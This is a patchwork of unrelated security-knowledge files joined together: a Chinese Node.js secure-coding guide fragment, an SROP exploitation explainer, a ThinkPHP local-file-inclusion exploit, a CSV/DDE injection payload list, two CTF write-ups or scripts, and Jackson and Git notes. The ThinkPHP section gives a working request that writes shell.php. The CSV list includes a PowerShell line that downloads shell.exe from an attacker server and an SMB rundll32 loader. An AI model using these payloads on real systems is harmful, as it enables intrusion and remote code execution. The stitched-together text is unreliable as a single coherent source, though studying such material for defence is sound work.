*关联漏洞:中风险 - XSS,中风险 - CSRF,中风险 - CORS配置不当*
<a id="2.1.9"></a>
#### 1.9 SQL操作
**1.9.1 【必须】SQL语句默认使用预编译并绑定变量**
- 应使用预编译绑定变量的形式编写sql语句,保持查询语句和数据相分离
```javascript
// bad:拼接SQL语句查询,存在安全风险
const mysql = require("mysql");
const connection = mysql.createConnection(options);
connection.connect();
const sql = util.format("SELECT * from some_table WHERE Id = %s and Name = %s", req.body.id, req.body.name);
connection.query(sql, (err, result) => {
// handle err..
});
// good:使用预编译绑定变量构造SQL语句
const mysql = require("mysql");
const connection = mysql.createConnection(options);
connection.connect();
const sql = "SELECT * from some_table WHERE Id = ? and Name = ?";
const sqlParams = [req.body.id, req.body.name];
connection.query(sql, sqlParams, (err, result) => {
// handle err..
});
```
- 对于表名、列名等无法进行预编译的场景,如:`__user_input__` 拼接到比如 `limit`, `order by`, `group by` , `from tablename`语句中。请使用以下方法:
*方案1:使用白名单校验表名/列名*
```javascript
// good
const tableSuffix = req.body.type;
if (["expected1", "expected2"].indexOf(tableSuffix) < 0) {
// 不在表名白名单中,拒绝请求
return ;
}
const sql = `SELECT * from t_business_${tableSuffix}`;
connection.query(sql, (err, result) => {
// handle err..
});
```
*方案2:使用反引号包裹表名/列名,并过滤 `__user_input__` 中的反引号*
```javascript
// good
let { orderType } = req.body;
// 过滤掉__user_input__中的反引号
orderType = orderType.replace("`", "");
const sql = util.format("SELECT * from t_business_feeds order by `%s`", orderType);
connection.query(sql, (err, result) => {
// handle err..
});
```
*方案3:将 `__user_input__` 转换为整数*
```javascript
// good
let { orderType } = req.body;
// 强制转换为整数
orderType = parseInt(orderType, 10);
const sql = `SELECT * from t_business_feeds order by ${orderType}`;
connection.query(sql, (err, result) => {
// handle err..
});
```
**1.9.2 【必须】安全的ORM操作**
- 使用安全的ORM组件进行数据库操作。如 `sequelize` 等
- 禁止`__user_input__`以拼接的方式直接传入ORM的各类raw方法
```javascript
//bad: adonisjs ORM
//参考:https://adonisjs.com/docs/3.2/security-introduction#_sql_injection
const username = request.param("username");
const users = yield Database
.table("users")
.where(Database.raw(`username = ${username}`));
//good: adonisjs ORM
const username = request.param("username");
const users = yield Database
.table('users')
.where(Database.raw("username = ?", [username]));
```
- 使用ORM进行Update/Insert操作时,应限制操作字段范围
```javascript
/*
good
假设该api用于插入用户的基本信息,使用传入的req.body通过Sequelize的create方法实现
假设User包含字段:username,email,isAdmin,
其中,isAdmin将会用于是否系统管理员的鉴权,默认值为false
*/
// Sequelize: 只允许变更username、email字段值
User.create(req.body, { fields: ["username", "email"] }).then((user) => {
// handle the rest..
});
```
> **为什么要这么做?**
> 在上述案例中,若不限定fields值,攻击者将可传入`{"username":"boo","email":"foo@boo.com","isAdmin":true}`将自己变为`Admin`,产生垂直越权漏洞。
*关联漏洞:高风险 - SQL注入,中风险 - Mass Assignment 逻辑漏洞*
<a id="2.1.10"></a>
#### 1.10 NoSQL操作
**1.10.1 【必须】校验参数值类型**
- 将HTTP参数值代入NoSQL操作前,应校验类型。如非功能需要,禁止对象(Object)类型传入。
```javascript
// bad:执行NOSQL操作前,未作任何判断
app.post("/", (req, res) => {
db.users.find({ username: req.body.username, password: req.body.password }, (err, users) => {
// **TODO:** handle the rest
});
});
// good:在进入nosql前先判断`__USER_INPUT__`是否为字符串。
app.post("/", (req, res) => {
if (req.body.username && typeof req.body.username !== "string") {
return new Error("username must be a string");
}
if (req.body.password && typeof req.body.password !== "string") {
return new Error("password must be a string");
}
db.users.find({ username: req.body.username, password: req.body.password }, (err, users) => {
// **TODO:** handle the rest
});
});
```
> **为什么要这么做?**
>
> JavaScript中,从http或socket接收的数据可能不是单纯的字符串,而是被黑客精心构造的对象(Object)。在本例中:
>
> - 期望接收的POST数据:`username=foo&password=bar`
> - 期望的等价条件查询sql语句:`select * from users where username = 'foo' and password = 'bar'`
> - 黑客的精心构造的攻击POST数据:`username[$ne]=null&password[$ne]=null`或JSON格式:`{"username": {"$ne": null},"password": {"$ne": null}}`
> - 黑客篡改后的等价条件查询sql语句:`select * from users where username != null & password != null`
> - 黑客攻击结果:绕过正常逻辑,在不知道他人的username/password的情况登录他人账号。
**1.10.2 【必须】NoSQL操作前,应校验权限/角色**
- 执行NoSQL增、删、改、查逻辑前,应校验权限
```javascript
// 使用express、mongodb(mongoose)实现的删除文章demo
// bad:在删除文章前未做权限校验
app.post("/deleteArticle", (req, res) => {
db.articles.deleteOne({ article_id: req.body.article_id }, (err, users) => {
// TODO: handle the rest
});
});
// good:进入nosql语句前先进行权限校验
app.post("/deleteArticle", (req, res) => {
checkPriviledge(ctx.uin, req.body.article_id);
db.articles.deleteOne({ article_id: req.body.article_id }, (err, users) => {
// TODO: handle the rest
});
});
```
*关联漏洞:高风险 - 越权操作,高风险 - NoSQL注入*
<a id="2.1.11"></a>
#### 1.11 服务器端渲染(SSR)
**1.11.1 【必须】安全的Vue服务器端渲染(Vue SSR)**
- 禁止直接将不受信的外部内容传入`{{{ data }}}`表达式中
- 模板内容禁止被污染
```javascript
// bad: 将用户输入替换进模板
const app = new Vue({
template: appTemplate.replace("word", __USER_INPUT__),
});
renderer.renderToString(app);
```
- 对已渲染的HTML文本内容(renderToString后的html内容)。如需再拼不受信的外部输入,应先进行安全过滤,具体请参考**1.6.3**
```javascript
// bad: 渲染后的html再拼接不受信的外部输入
return new Promise(((resolve) => {
renderer.renderToString(component, (err, html) => {
let htmlOutput = html;
htmlOutput += `${__USER_INPUT__}`;
resolve(htmlOutput);
});
}));
```
**1.11.2 【必须】安全地使用EJS、LoDash、UnderScore进行服务器端渲染**
- 使用render函数时,模板内容禁止被污染
lodash.Template:
```js
// bad: 将用户输入送进模板
const compiled = _.template(`<b>${__USER_INPUT__}<%- value %></b>`);
compiled({ value: "hello" });
```
ejs:
```javascript
// bad: 将用户输入送进模板
const ejs = require("ejs");
const people = ["geddy", "neil", "alex"];
const html = ejs.render(`<%= people.join(", "); %>${__USER_INPUT__}`, { people });
```
- Ejs、LoDash、UnderScore提供的HTML插值模板默认形似`<%= data %>`,尽管在默认情况下`<%= data %>`存在过滤,在编写HTML插值模板时需注意:
1. 用户输入流入html属性值时,必须使用双引号包裹:`<base data-id = "<%= __USER_INPUT__ %>">`
2. 用户输入流入`<script></script>`标签或on*的html属性中时,如`<script>var id = <%= __USER_INPUT__ %></script>` ,须按照1.6.3中的做法或白名单方法进行过滤,框架/组件的过滤在此处不起作用
**1.11.3 【必须】在自行实现状态存储容器并将其JSON.Stringify序列化后注入到HTML时,必须进行安全过滤**
<a id="2.1.12"></a>
#### 1.12 URL跳转
**1.12.1【必须】限定跳转目标地址**
- 适用场景包括:
1. 使用30x返回码并在Header中设置Location进行跳转
2. 在返回页面中打印`<script>location.href=__Redirection_URL__</script>`
- 使用白名单,限定重定向地址的协议前缀(默认只允许HTTP、HTTPS)、域名(默认只允许公司根域),或指定为固定值;
```javascript
// 使用express实现的登录成功后的回调跳转页面
// bad: 未校验页面重定向地址
app.get("/login", (req, res) => {
// 若未登录用户访问其他页面,则让用户导向到该处理函数进行登录
// 使用参数loginCallbackUrl记录先前尝试访问的url,在登录成功后跳转回loginCallbackUrl:
const { loginCallbackUrl } = req.query;
if (loginCallbackUrl) {
res.redirect(loginCallbackUrl);
}
});
// good: 白名单限定重定向地址
function isValidURL(sUrl) {
return !!((/^(https?:\/\/)?[\w\-.]+\.(qq|tencent)\.com($|\/|\\)/i).test(sUrl) || (/^[\w][\w/.\-_%]+$/i).test(sUrl) || (/^[/\\][^/\\]/i).test(sUrl));
}
app.get("/login", (req, res) => {
// 若未登录用户访问其他页面,则让用户导向到该处理函数进行登录
// 使用参数loginCallbackUrl记录先前尝试访问的url,在登录成功后跳转回loginCallbackUrl:
const { loginCallbackUrl } = req.query;
if (loginCallbackUrl && isValidUrl(loginCallbackUrl)) {
res.redirect(loginCallbackUrl);
}
});
// good: 白名单限定重定向地址,通过返回html实现
function isValidURL(sUrl) {
return !!((/^(https?:\/\/)?[\w\-.]+\.(qq|tencent)\.com($|\/|\\)/i).test(sUrl) || (/^[\w][\w/.\-_%]+$/i).test(sUrl) || (/^[/\\][^/\\]/i).test(sUrl));
}
app.get("/login", (req, res) => {
// 若未登录用户访问其他页面,则让用户导向到该处理函数进行登录
// 使用参数loginCallbackUrl记录先前尝试访问的url,在登录成功后跳转回loginCallbackUrl:
const { loginCallbackUrl } = req.query;
if (loginCallbackUrl && isValidUrl(loginCallbackUrl)) {
// 使用encodeURI,过滤左右尖括号与双引号,防止逃逸出包裹的双引号
const redirectHtml = `<script>location.href = "${encodeURI(loginCallbackUrl)}";</script>`;
res.end(redirectHtml);
}
});
```
*关联漏洞:中风险 - 任意URL跳转漏洞*
<a id="2.1.13"></a>
#### 1.13 Cookie与登录态
**1.13.1【推荐】为Cookies中存储的关键登录态信息添加http-only保护**
*关联漏洞:纵深防护措施 - 安全性增强特性*
<a id="2.2"></a>
### II. 配置&环境
<a id="2.2.1"></a>
#### 2.1 依赖库
**2.1.1【必须】使用安全的依赖库**
- 使用自动工具,检查依赖库是否存在后门/漏洞,保持最新版本
<a id="2.2.2"></a>
#### 2.2 运行环境
**2.2.1 【必须】使用非root用户运行Node.js**
<a id="2.2.3"></a>
#### 2.3 配置信息
**2.3.1【必须】禁止硬编码认证凭证**
- 禁止在源码中硬编码`AK/SK`、`数据库账密`、`私钥证书`等配置信息
- 应使用配置系统或KMS密钥管理系统。
**2.3.2【必须】禁止硬编码IP配置**
- 禁止在源码中硬编码`IP`信息
> **为什么要这么做?**
>
> 硬编码IP可能会导致后续机器裁撤或变更时产生额外的工作量,影响系统的可靠性。
**2.3.3【必须】禁止硬编码员工敏感信息**
- 禁止在源代码中含员工敏感信息,包括但不限于:`员工ID`、`手机号`、`微信/QQ号`等。
|
sec-knowleage
|
### SROP基本介绍
SROP(Sigreturn Oriented Programming)于2014年被Vrije Universiteit Amsterdam的Erik Bosman提出,其相关研究**`Framing Signals — A Return to Portable Shellcode`**发表在安全顶级会议[Oakland 2014](http://www.ieee-security.org/TC/SP2014)上,被评选为当年的[Best Student Papers](http://www.ieee-security.org/TC/SP2014/awards.html)。其中相关的paper以及slides的链接如下:
[paper](http://www.ieee-security.org/TC/SP2014/papers/FramingSignals-AReturntoPortableShellcode.pdf)
[slides](https://tc.gtisc.gatech.edu/bss/2014/r/srop-slides.pdf)
其中,`sigreturn`是一个系统调用,在类unix系统发生signal的时候会被间接地调用。
### SROP的signal机制
signal机制是类unix系统中进程之间相互传递信息的一种方法。一般,我们也称其为软中断信号,或者软中断。比如说,进程之间可以通过系统调用kill来发送软中断信号。
1. 内核向某个进程发送signal机制,该进程会被暂时挂起,进入内核态。
2. 内核会为该进程保存相应的上下文,**主要是将所有寄存器压入栈中,以及压入signal信息,以及指向sigreturn的系统调用地址**。此时栈的结构如下图所示,我们称ucontext以及siginfo这一段为Signal Frame。**需要注意的是,这一部分是在用户进程的地址空间的。**之后会跳转到注册过的signal handler中处理相应的signal。因此,当signal handler执行完之后,就会执行sigreturn代码。
对于signal Frame来说,会因为架构的不同而有所区别,这里给出分别给出x86以及x64的sigcontext
- x86
```c
struct sigcontext
{
unsigned short gs, __gsh;
unsigned short fs, __fsh;
unsigned short es, __esh;
unsigned short ds, __dsh;
unsigned long edi;
unsigned long esi;
unsigned long ebp;
unsigned long esp;
unsigned long ebx;
unsigned long edx;
unsigned long ecx;
unsigned long eax;
unsigned long trapno;
unsigned long err;
unsigned long eip;
unsigned short cs, __csh;
unsigned long eflags;
unsigned long esp_at_signal;
unsigned short ss, __ssh;
struct _fpstate * fpstate;
unsigned long oldmask;
unsigned long cr2;
};
```
- x64
```c
struct _fpstate
{
/* FPU environment matching the 64-bit FXSAVE layout. */
__uint16_t cwd;
__uint16_t swd;
__uint16_t ftw;
__uint16_t fop;
__uint64_t rip;
__uint64_t rdp;
__uint32_t mxcsr;
__uint32_t mxcr_mask;
struct _fpxreg _st[8];
struct _xmmreg _xmm[16];
__uint32_t padding[24];
};
struct sigcontext
{
__uint64_t r8;
__uint64_t r9;
__uint64_t r10;
__uint64_t r11;
__uint64_t r12;
__uint64_t r13;
__uint64_t r14;
__uint64_t r15;
__uint64_t rdi;
__uint64_t rsi;
__uint64_t rbp;
__uint64_t rbx;
__uint64_t rdx;
__uint64_t rax;
__uint64_t rcx;
__uint64_t rsp;
__uint64_t rip;
__uint64_t eflags;
unsigned short cs;
unsigned short gs;
unsigned short fs;
unsigned short __pad0;
__uint64_t err;
__uint64_t trapno;
__uint64_t oldmask;
__uint64_t cr2;
__extension__ union
{
struct _fpstate * fpstate;
__uint64_t __fpstate_word;
};
__uint64_t __reserved1 [8];
};
```
3. signal handler返回后,内核为执行sigreturn系统调用,为该进程恢复之前保存的上下文,其中包括将所有压入的寄存器,重新pop回对应的寄存器,最后恢复进程的执行。其中,32位的sigreturn的调用号为119(0x77),64位的系统调用号为15(0xf)。
### SROP攻击原理
仔细回顾一下内核在signal信号处理的过程中的工作,我们可以发现,内核主要做的工作就是为进程保存上下文,并且恢复上下文。这个主要的变动都在Signal Frame中。但是需要注意的是:
- Signal Frame被保存在用户的地址空间中,所以用户是可以读写的。
- 由于内核与信号处理程序无关(kernel agnostic about signal handlers),它并不会去记录这个signal对应的Signal Frame,所以当执行sigreturn系统调用时,此时的Signal Frame并不一定是之前内核为用户进程保存的Signal Frame。
说到这里,其实,SROP的基本利用原理也就出现了。下面举两个简单的例子。
### SROP攻击获取shell
首先,我们假设攻击者可以控制用户进程的栈,那么它就可以伪造一个Signal Frame,如下图所示,这里以64位为例子,给出Signal Frame更加详细的信息
当系统执行完sigreturn系统调用之后,会执行一系列的pop指令以便于恢复相应寄存器的值,当执行到rip时,就会将程序执行流指向syscall地址,根据相应寄存器的值,此时,便会得到一个shell。
### SROP攻击system call chains
需要指出的是,上面的例子中,我们只是单独的获得一个shell。有时候,我们可能会希望执行一系列的函数。我们只需要做两处修改即可
- **控制栈指针。**
- **把原来rip指向的`syscall` gadget换成`syscall; ret` gadget。**
这样当每次syscall返回的时候,栈指针都会指向下一个Signal Frame。因此就可以执行一系列的sigreturn函数调用。
### SROP攻击后续
需要注意的是,我们在构造ROP攻击的时候,需要满足下面的条件
- **可以通过栈溢出来控制栈的内容**
- **需要知道相应的地址**
- **"/bin/sh"**
- **Signal Frame**
- **syscall**
- **sigreturn**
- 需要有够大的空间来塞下整个sigal frame
此外,关于sigreturn以及syscall;ret这两个gadget在上面并没有提及。提出该攻击的论文作者发现了这些gadgets出现的某些地址
并且,作者发现,有些系统上SROP的地址被随机化了,而有些则没有。比如说`Linux < 3.3 x86_64`(在Debian 7.0, Ubuntu Long Term Support, CentOS 6系统中默认内核),可以直接在vsyscall中的固定地址处找到syscall&return代码片段。
但是目前它已经被`vsyscall-emulate`和`vdso`机制代替了。此外,目前大多数系统都会开启ASLR保护,所以相对来说这些gadgets都并不容易找到。
值得一说的是,对于sigreturn系统调用来说,在64位系统中,sigreturn系统调用对应的系统调用号为15,只需要RAX=15,并且执行syscall即可实现调用syscall调用。而RAX寄存器的值又可以通过控制某个函数的返回值来间接控制,比如说read函数的返回值为读取的字节数。
|
sec-knowleage
|
# ThinkPHP Lang Local File Inclusion
[中文版本(Chinese version)](README.zh-cn.md)
ThinkPHP is an extremely widely used PHP development framework in China. In the version prior to 6.0.13, a local restricted file inclusion issue exists in `lang` parameter if the developer enable multiple language pack.
Although this issue is only allowed to include ".php" file, the attacker is still able to use the "pearcmd.php" to write arbitrary file and execute code in the server.
References:
- <https://tttang.com/archive/1865/>
- <https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp> (about the "pearcmd.php trick")
## Vulnerability Environment
Execute following command to start a server that is developed by ThinkPHP v6.0.12:
```
docker compose up -d
```
After the server is started, browse the `http://your-ip:8080` to see the default welcome page of ThinkPHP.
## Exploit
Firstly, because the multiple language feature is not enabled by default, you can try to include the `public/index.php` to determine whether the vulnerability exists:
```
http://localhost:8080/?lang=../../../../../public/index
```

The vulnerability exists if the server crashed and a 500 error response comes back.
Then, try to write data through "/usr/local/lib/php/pearcmd.php":
```
GET /?+config-create+/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/<?=phpinfo()?>+shell.php HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Connection: close
Cache-Control: max-age=0
```
If the server response the output of pearcmd, which means the exploit is successful:

As you can see, the `shell.php` is written in root directory of web:

|
sec-knowleage
|
# CSV Injection
Many web applications allow the user to download content such as templates for invoices or user settings to a CSV file. Many users choose to open the CSV file in either Excel, Libre Office or Open Office. When a web application does not properly validate the contents of the CSV file, it could lead to contents of a cell or many cells being executed.
## Exploit
Basic exploit with Dynamic Data Exchange
```powershell
# pop a calc
DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+1)*cmd|' /C calc'!A0
=2+5+cmd|' /C calc'!A0
# pop a notepad
=cmd|' /C notepad'!'A1'
# powershell download and execute
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
# msf smb delivery with rundll32
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1
# Prefix obfuscation and command chaining
=AAAA+BBBB-CCCC&"Hello"/12345&cmd|'/c calc.exe'!A
=cmd|'/c calc.exe'!A*cmd|'/c calc.exe'!A
+thespanishinquisition(cmd|'/c calc.exe'!A
= cmd|'/c calc.exe'!A
# Using rundll32 instead of cmd
=rundll32|'URL.dll,OpenURL calc.exe'!A
=rundll321234567890abcdefghijklmnopqrstuvwxyz|'URL.dll,OpenURL calc.exe'!A
# Using null characters to bypass dictionary filters. Since they are not spaces, they are ignored when executed.
= C m D | '/ c c al c . e x e ' ! A
```
Technical Details of the above payload:
- `cmd` is the name the server can respond to whenever a client is trying to access the server
- `/C` calc is the file name which in our case is the calc(i.e the calc.exe)
- `!A0` is the item name that specifies unit of data that a server can respond when the client is requesting the data
Any formula can be started with
```powershell
=
+
–
@
```
## References
* [OWASP - CSV Excel Macro Injection](https://owasp.org/www-community/attacks/CSV_Injection)
* [Google Bug Hunter University - CSV Excel formula injection](https://bughunters.google.com/learn/invalid-reports/google-products/4965108570390528/csv-formula-injection)
* [CSV INJECTION: BASIC TO EXPLOIT!!!! - 30/11/2017 - Akansha Kesharwani](https://payatu.com/csv-injection-basic-to-exploit/)
* [From CSV to Meterpreter - 5th November 2015 - Adam Chester](https://blog.xpnsec.com/from-csv-to-meterpreter/)
* [The Absurdly Underestimated Dangers of CSV Injection - 7 October, 2017 - George Mauer](http://georgemauer.net/2017/10/07/csv-injection.html)
* [Three New DDE Obfuscation Methods](https://blog.reversinglabs.com/blog/cvs-dde-exploits-and-obfuscation)
* [Your Excel Sheets Are Not Safe! Here's How to Beat CSV Injection](https://www.we45.com/post/your-excel-sheets-are-not-safe-heres-how-to-beat-csv-injection)
|
sec-knowleage
|
## zerodaystore (misc, 200)
tldr; Add &price=0 to the end of the /pay request
[server.py](server.py.8c15b34d5e32243f5ed38c1b055bfd6f)
[zerodaystore.apk](zerodaystore.apk.7869c5b00cdf037273e39572fb1affdb)
We start off by decompiling the apk file using [javadecompilers](http://www.javadecompilers.com/apk). The code is pretty straight-forward, we can purchase 0dayexploits with our money.
There is one problem though, we have no money and 0days are expensive! There are 2 solutions though.
We can craft the requests ourselfes and send them directly to the recovered url or rebuild the apk with our money and/or exploits' prices faked.

After a purchase has been made a JSON request to `http://paygate.godric.me/order` is sent with products price, id and our devices id.

The request is then corrected(price is set again from productid), signed and returned as a strings contacted by `&`. The response is then sent to `http://paygate.godric.me/order`
The server source tells us that we need to send a pay request with `price=0`, we could try sending a fake request directly at /pay but unfortunatelly the message is verified using rsa and sending edited requests results in error.
It turns out that the signing mechanism is broken, we can smuggle our `&price=0` after the message and sign. This way, we can have correctly-signed message and the price variable set to 0 which should give us the flag.
`BCTF{0DayL0veR1chGuy5}`
Bingo!
|
sec-knowleage
|
import urllib
from PIL import Image
import io
from pytesseract import pytesseract
import urllib2
import re
def get_filling(pixels, i, j, best_colors, x_range):
left = pixels[(i - 1) % x_range, j]
right = pixels[(i + 1) % x_range, j]
if left in best_colors and left != best_colors[0]:
return left
elif right in best_colors and right != best_colors[0]:
return right
else:
return best_colors[0]
def fix_colors(im):
colors_distribution = im.getcolors()
ordered = sorted(colors_distribution, key=lambda x: x[0], reverse=True)
best_colors = [color[1] for color in ordered]
if (255, 255, 255) in best_colors:
best_colors.remove((255, 255, 255))
best_colors = best_colors[:2]
pixels = im.load()
for i in range(im.size[0]):
for j in range(im.size[1]):
color = pixels[i, j]
if color not in best_colors:
pixels[i, j] = get_filling(pixels, i, j, best_colors, im.size[0])
return best_colors[0]
def on_blacklist(text):
if len(text) != 4:
return True
blacklisted = ["I", "0", "O", "Z", "Q", "2", "S", "3", "G", "9", "1", "l", "C", "X", "V", "B", "8", "U"]
for character in blacklisted:
if character in text:
return True
matcher = re.match("[a-zA-Z0-9]+", text)
if matcher is None or len(matcher.group()) != 4:
return True
return False
def black_and_white(im, filling):
black = (0, 0, 0)
white = (255, 255, 255)
pixels = im.load()
for i in range(im.size[0]):
for j in range(im.size[1]):
color = pixels[i, j]
if color == filling:
pixels[i, j] = white
else:
pixels[i, j] = black
while True:
try:
lastScore = 0
cookies = urllib2.HTTPCookieProcessor()
opener = urllib2.build_opener(cookies)
urllib2.install_opener(opener)
opener.open("http://ctfquest.trendmicro.co.jp:8080/acf2e28903f698eda9bdefc043b6edc3/signin")
params = dict(username="p4test", password="p4test", this_is_the_login_form=True)
params.update({c.name: c.value for c in cookies.cookiejar})
encoded_params = urllib.urlencode(params)
opener.open("http://ctfquest.trendmicro.co.jp:8080/acf2e28903f698eda9bdefc043b6edc3/signin", encoded_params)
while True:
f = opener.open("http://ctfquest.trendmicro.co.jp:8080/acf2e28903f698eda9bdefc043b6edc3/challenge")
data = f.read()
print(data.replace("\n", " "))
# <h2>6/500</h2>
m = re.search("<h2>(\d+)/\d+</h2>", data)
if m is not None:
s = m.group(1)
print(s)
if int(s) < lastScore:
lastScore = int(s)
im.show() # debug, display failed captcha to improve blacklist
else:
lastScore = int(s)
f = opener.open("http://ctfquest.trendmicro.co.jp:8080/acf2e28903f698eda9bdefc043b6edc3/image")
image_file = io.BytesIO(f.read())
im = Image.open(image_file)
im = im.convert('RGB')
filling = fix_colors(im)
black_and_white(im, filling)
text = pytesseract.image_to_string(im,
config="-psm 8 --user-patterns /cygdrive/d/tess/pattern.txt /cygdrive/d/tess/conf.txt")
text = text.replace(" ", "")
if not on_blacklist(text):
print(text)
params = {"captcha": text}
params.update({c.name: c.value for c in cookies.cookiejar})
encoded_params = urllib.urlencode(params)
opener.open("http://ctfquest.trendmicro.co.jp:8080/acf2e28903f698eda9bdefc043b6edc3/challenge",
encoded_params)
else:
print "Possibly wrong decode " + text + " skipping"
except:
pass
|
sec-knowleage
|
# JSON
---
通过 Jackson 解析 json
Maven依赖
```xml
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>2.10.0</version>
</dependency>
```
使用下面的代码解析一个 JSON 文件
```java
InputStream input = Main.class.getResourceAsStream("/book.json");
ObjectMapper mapper = new ObjectMapper();
// 反序列化时忽略不存在的JavaBean属性:
mapper.configure(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES, false);
Book book = mapper.readValue(input, Book.class);
```
核心代码是创建一个 `ObjectMapper` 对象。关闭 `DeserializationFeature`.`FAIL_ON_UNKNOWN_PROPERTIES` 功能使得解析时如果 JavaBean 不存在该属性时解析不会报错。
---
把 JSON 解析为 JavaBean 的过程称为反序列化。如果把 JavaBean 变为 JSON,那就是序列化。要实现 JavaBean 到 JSON 的序列化,只需要一行代码:
```java
String json = mapper.writeValueAsString(book);
```
要把 JSON 的某些值解析为特定的 Java 对象,例如 `LocalDate`,也是完全可以的。例如:
```json
{
"name": "Java核心技术",
"pubDate": "2016-09-01"
}
```
要解析为:
```java
public class Book {
public String name;
public LocalDate pubDate;
}
```
只需要引入标准的 JSR 310 关于 JavaTime 的数据格式定义至 Maven:
```xml
<dependency>
<groupId>com.fasterxml.jackson.datatype</groupId>
<artifactId>jackson-datatype-jsr310</artifactId>
<version>2.10.0</version>
</dependency>
```
然后,在创建 `ObjectMapper` 时,注册一个新的 `JavaTimeModule`:
```java
ObjectMapper mapper = new ObjectMapper().registerModule(new JavaTimeModule());
```
有些时候,内置的解析规则和扩展的解析规则如果都不满足我们的需求,还可以自定义解析。
举个例子,假设 `Book` 类的 `isbn` 是一个 `BigInteger`:
```java
public class Book {
public String name;
public BigInteger isbn;
}
```
但 JSON 数据并不是标准的整形格式:
```json
{
"name": "Java核心技术",
"isbn": "978-7-111-54742-6"
}
```
直接解析,肯定报错。这时,我们需要自定义一个 `IsbnDeserializer`,用于解析含有非数字的字符串:
```java
public class IsbnDeserializer extends JsonDeserializer<BigInteger> {
public BigInteger deserialize(JsonParser p, DeserializationContext ctxt) throws IOException, JsonProcessingException {
// 读取原始的JSON字符串内容:
String s = p.getValueAsString();
if (s != null) {
try {
return new BigInteger(s.replace("-", ""));
} catch (NumberFormatException e) {
throw new JsonParseException(p, s, e);
}
}
return null;
}
}
```
然后,在 Book 类中使用注解标注:
```java
public class Book {
public String name;
// 表示反序列化isbn时使用自定义的IsbnDeserializer:
@JsonDeserialize(using = IsbnDeserializer.class)
public BigInteger isbn;
}
```
类似的,自定义序列化时我们需要自定义一个 IsbnSerializer,然后在 Book 类中标注 `@JsonSerialize(using = ...)` 即可。
---
## Source & Reference
- https://www.liaoxuefeng.com/wiki/1252599548343744/1320418650619938
|
sec-knowleage
|
# Git 学习笔记
<p align="center">
<a href="http://turnoff.us/geek/when-ai-meets-git/"><img src="../../../assets/img/banner/ai-meets-git.jpg" width="65%"></a>
</p>
---
## 大纲
* **[原理](#原理)**
* **[基本操作](#基本操作)**
* [分支管理](#分支管理)
* [标签管理](#标签管理)
* [忽略文件](#忽略文件)
* [别名](#别名)
* [撤销Git操作](#撤销git操作)
* [跳转](#跳转)
* [子模块](#子模块)
* [大小写](#大小写)
* **[远程操作](#远程操作)**
* [clone](#clone)
* [remote](#remote)
* [fetch](#fetch)
* [pull](#pull)
* [push](#push)
* [github](#github)
* [Git_LFS](#git_lfs)
---
## 原理
**工作区(Working Directory)**
就是你在电脑里能看到的目录,比如我的 gitcode 文件夹就是一个工作区.
**版本库(Repository)**
工作区有一个隐藏目录 .git,这个不算工作区,而是 Git 的版本库.
Git 的版本库里存了很多东西,其中最重要的就是称为 stage(或者叫 index)的暂存区,还有 Git 为我们自动创建的第一个分支 master,以及指向 master 的一个指针叫 HEAD .
把文件往 Git 版本库里添加的时候,是分两步执行的:
- 第一步是用 git add 把文件添加进去,实际上就是把文件修改添加到暂存区;
- 第二步是用 git commit 提交更改,实际上就是把暂存区的所有内容提交到当前分支.
因为我们创建 Git 版本库时,Git 自动为我们创建了唯一一个 master 分支,所以,现在,git commit 就是往 master 分支上提交更改.
你可以简单理解为,需要提交的文件修改通通放到暂存区,然后,一次性提交暂存区的所有修改.
**.git 目录**
结构展开类似
```
├── HEAD
├── branches
├── config
├── description
├── hooks
│ ├── pre-commit.sample
│ ├── pre-push.sample
│ └── ...
├── info
│ └── exclude
├── objects
│ ├── info
│ └── pack
└── refs
├── heads
└── tags
```
- conf
conf 文件中包含着 repository 的配置,包括 remote 的地址,提交时的 email, username, 等等,所有通过 git config .. 来设置的内容都在这里保存着。如果熟悉甚至可以直接修改该文件。
- description
被 gitweb(github 之前) 用来描述 repository 内容。
- hooks
hooks,国内通常被翻译成钩子,git 中一个比较有趣的功能。可以编写一些脚本让 git 在各个阶段自动执行。这些脚本被称为 hooks, 脚本可以在 commit/rebase/pull 等等环节前后被执行。脚本的名字暗示了脚本被执行的时刻。一个比较常见的使用场景就是在 pre-push 阶段检查本地提交是否遵循了 remote 仓库的代码风格。
- info exclude
该文件中定义的文件不会被 git 追踪,和 .gitignore 作用相同。大部分情况下 .gitignore 就足够了,但知道 info/exclude 文件的存在也是可以的。
- object
每一次创建一些文件,提交,git 都会压缩并将其保存到自己的数据结构中。压缩的内容会拥有一个唯一的名字,一个 hash 值,该 hash 值会保存到 object 目录中。
- HEAD
HEAD 可以比喻成一个指针,指向当前工作的分支。
---
## 基本操作
<p align="center">
<img src="../../../assets/img/logo/git.svg" width="25%">
</p>
```bash
git config --global user.name "username"
git config --global user.email user@aaa.com
# 如果使用了 -global 选项,那么该命令只需要运行一次,因为之后无论你在该系统上做任何事情,Git 都会使用那些信息.当你想针对特定项目使用不同的用户名称与邮件地址时,可以在那个项目目录下运行没有 -global 选项的命令来配置.
git config --global http.proxy # 查看当前代理设置
git config --global http.proxy 'socks5://127.0.0.1:1080' # 设置当前代理
git config --global https.proxy 'socks5://127.0.0.1:1080' # 设置当前代理
git config --global --unset https.proxy # 删除 proxy
git init # 初始化仓库
git config --list # 检查配置信息
git config user.name # 查看用户名
git config user.email # 查看邮箱
git status # 查看状态
git diff # 查看已暂存和未暂存的修改
git diff --cached # 查看暂存区和本地仓库之间的差异
git log # 查看提交历史
git reflog # 显示当前分支的最近几次提交
git commit -m "Input your commit message" # 提交更新
git commit -a -m "Commit message" # 跳过使用暂存区
git commit --allow-empty-message --no-edit # 懒得什么 message 都不想写
git commit -m 'test1
test2
test3
' # 提交多行 massage
git rm <finame>
git mv file_from file_to
已修改,未暂存
